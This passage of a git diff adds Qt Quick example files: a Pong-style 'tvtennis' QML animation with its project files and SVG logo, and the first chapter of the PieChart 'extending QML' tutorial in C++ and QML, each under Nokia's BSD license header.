+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationLockLandscape);
+ viewer.setMainQmlFile(QLatin1String("qml/tvtennis/tvtennis.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/toys/tvtennis/qml/tvtennis/tvtennis.qml b/examples/declarative/toys/tvtennis/qml/tvtennis/tvtennis.qml
new file mode 100644
index 00000000..8dc2576a
--- /dev/null
+++ b/examples/declarative/toys/tvtennis/qml/tvtennis/tvtennis.qml
@@ -0,0 +1,109 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: page
+ width: 640; height: 480
+ color: "Black"
+
+ // Make a ball to bounce
+ Rectangle {
+ id: ball
+
+ // Add a property for the target y coordinate
+ property variant direction : "right"
+
+ x: 20; width: 20; height: 20; z: 1
+ color: "Lime"
+
+ // Move the ball to the right and back to the left repeatedly
+ SequentialAnimation on x {
+ loops: Animation.Infinite
+ NumberAnimation { to: page.width - 40; duration: 2000 }
+ PropertyAction { target: ball; property: "direction"; value: "left" }
+ NumberAnimation { to: 20; duration: 2000 }
+ PropertyAction { target: ball; property: "direction"; value: "right" }
+ }
+
+ // Make y move with a velocity of 200
+ Behavior on y { SpringAnimation{ velocity: 200; }
+ }
+
+ Component.onCompleted: y = page.height-10; // start the ball motion
+
+ // Detect the ball hitting the top or bottom of the view and bounce it
+ onYChanged: {
+ if (y <= 0) {
+ y = page.height - 20;
+ } else if (y >= page.height - 20) {
+ y = 0;
+ }
+ }
+ }
+
+ // Place bats to the left and right of the view, following the y
+ // coordinates of the ball.
+ Rectangle {
+ id: leftBat
+ color: "Lime"
+ x: 2; width: 20; height: 90
+ y: ball.direction == 'left' ? ball.y - 45 : page.height/2 -45;
+ Behavior on y { SpringAnimation{ velocity: 300 } }
+ }
+ Rectangle {
+ id: rightBat
+ color: "Lime"
+ x: page.width - 22; width: 20; height: 90
+ y: ball.direction == 'right' ? ball.y - 45 : page.height/2 -45;
+ Behavior on y { SpringAnimation{ velocity: 300 } }
+ }
+
+ // The rest, to make it look realistic, if neither ever scores...
+ Rectangle { color: "Lime"; x: page.width/2-80; y: 0; width: 40; height: 60 }
+ Rectangle { color: "Black"; x: page.width/2-70; y: 10; width: 20; height: 40 }
+ Rectangle { color: "Lime"; x: page.width/2+40; y: 0; width: 40; height: 60 }
+ Rectangle { color: "Black"; x: page.width/2+50; y: 10; width: 20; height: 40 }
+ Repeater {
+ model: page.height / 20
+ Rectangle { color: "Lime"; x: page.width/2-5; y: index * 20; width: 10; height: 10 }
+ }
+}
diff --git a/examples/declarative/toys/tvtennis/tvtennis.png b/examples/declarative/toys/tvtennis/tvtennis.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/toys/tvtennis/tvtennis.png
Binary files differ
diff --git a/examples/declarative/toys/tvtennis/tvtennis.pro b/examples/declarative/toys/tvtennis/tvtennis.pro
new file mode 100644
index 00000000..778b29f9
--- /dev/null
+++ b/examples/declarative/toys/tvtennis/tvtennis.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/tvtennis
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xE6511DAE
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/toys/tvtennis
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/toys/tvtennis/tvtennis.qmlproject b/examples/declarative/toys/tvtennis/tvtennis.qmlproject
new file mode 100644
index 00000000..9e224bdc
--- /dev/null
+++ b/examples/declarative/toys/tvtennis/tvtennis.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/tvtennis"
+ }
+ JavaScriptFiles {
+ directory: "qml/tvtennis"
+ }
+ ImageFiles {
+ directory: "qml/tvtennis"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/toys/tvtennis/tvtennis.svg b/examples/declarative/toys/tvtennis/tvtennis.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/toys/tvtennis/tvtennis.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/tutorials/extending/chapter1-basics/app.qml b/examples/declarative/tutorials/extending/chapter1-basics/app.qml
new file mode 100644
index 00000000..b0bab839
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter1-basics/app.qml
@@ -0,0 +1,60 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import Charts 1.0
+import QtQuick 1.0
+
+Item {
+ width: 300; height: 200
+
+ PieChart {
+ id: aPieChart
+ anchors.centerIn: parent
+ width: 100; height: 100
+ name: "A simple pie chart"
+ color: "red"
+ }
+
+ Text {
+ anchors { bottom: parent.bottom; horizontalCenter: parent.horizontalCenter; bottomMargin: 20 }
+ text: aPieChart.name
+ }
+}
+//![0]
diff --git a/examples/declarative/tutorials/extending/chapter1-basics/chapter1-basics.pro b/examples/declarative/tutorials/extending/chapter1-basics/chapter1-basics.pro
new file mode 100644
index 00000000..0f041671
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter1-basics/chapter1-basics.pro
@@ -0,0 +1,5 @@
+QT += declarative
+
+HEADERS += piechart.h
+SOURCES += piechart.cpp \
+ main.cpp
diff --git a/examples/declarative/tutorials/extending/chapter1-basics/main.cpp b/examples/declarative/tutorials/extending/chapter1-basics/main.cpp
new file mode 100644
index 00000000..9c392db0
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter1-basics/main.cpp
@@ -0,0 +1,57 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+#include "piechart.h"
+#include <qdeclarative.h>
+#include <QDeclarativeView>
+#include <QApplication>
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ qmlRegisterType<PieChart>("Charts", 1, 0, "PieChart");
+
+ QDeclarativeView view;
+ view.setSource(QUrl::fromLocalFile("app.qml"));
+ view.show();
+ return app.exec();
+}
+//![0]
diff --git a/examples/declarative/tutorials/extending/chapter1-basics/piechart.cpp b/examples/declarative/tutorials/extending/chapter1-basics/piechart.cpp
new file mode 100644
index 00000000..7e7299f2
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter1-basics/piechart.cpp
@@ -0,0 +1,81 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "piechart.h"
+#include <QPainter>
+
+//![0]
+PieChart::PieChart(QDeclarativeItem *parent)
+ : QDeclarativeItem(parent)
+{
+ // need to disable this flag to draw inside a QDeclarativeItem
+ setFlag(QGraphicsItem::ItemHasNoContents, false);
+}
+//![0]
+
+QString PieChart::name() const
+{
+ return m_name;
+}
+
+void PieChart::setName(const QString &name)
+{
+ m_name = name;
+}
+
+QColor PieChart::color() const
+{
+ return m_color;
+}
+
+void PieChart::setColor(const QColor &color)
+{
+ m_color = color;
+}
+
+//![1]
+void PieChart::paint(QPainter *painter, const QStyleOptionGraphicsItem *, QWidget *)
+{
+ QPen pen(m_color, 2);
+ painter->setPen(pen);
+ painter->setRenderHints(QPainter::Antialiasing, true);
+ painter->drawPie(boundingRect(), 90 * 16, 290 * 16);
+}
+//![1]
+
diff --git a/examples/declarative/tutorials/extending/chapter1-basics/piechart.h b/examples/declarative/tutorials/extending/chapter1-basics/piechart.h
new file mode 100644
index 00000000..acb02d42
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter1-basics/piechart.h
@@ -0,0 +1,71 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef PIECHART_H
+#define PIECHART_H
+
+//![0]
+#include <QDeclarativeItem>
+#include <QColor>
+
+class PieChart : public QDeclarativeItem
+{
+ Q_OBJECT
+ Q_PROPERTY(QString name READ name WRITE setName)
+ Q_PROPERTY(QColor color READ color WRITE setColor)
+
+public:
+ PieChart(QDeclarativeItem *parent = 0);
+
+ QString name() const;
+ void setName(const QString &name);
+
+ QColor color() const;
+ void setColor(const QColor &color);
+
+ void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget = 0);
+
+private:
+ QString m_name;
+ QColor m_color;
+};
+//![0]
+
+#endif
+
diff --git a/examples/declarative/tutorials/extending/chapter2-methods/app.qml b/examples/declarative/tutorials/extending/chapter2-methods/app.qml
new file mode 100644
index 00000000..c63a2632
--- /dev/null
+++ b/examples/declarative/tutorials/extending/chapter2-methods/app.qml
@@ -0,0 +1,66 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
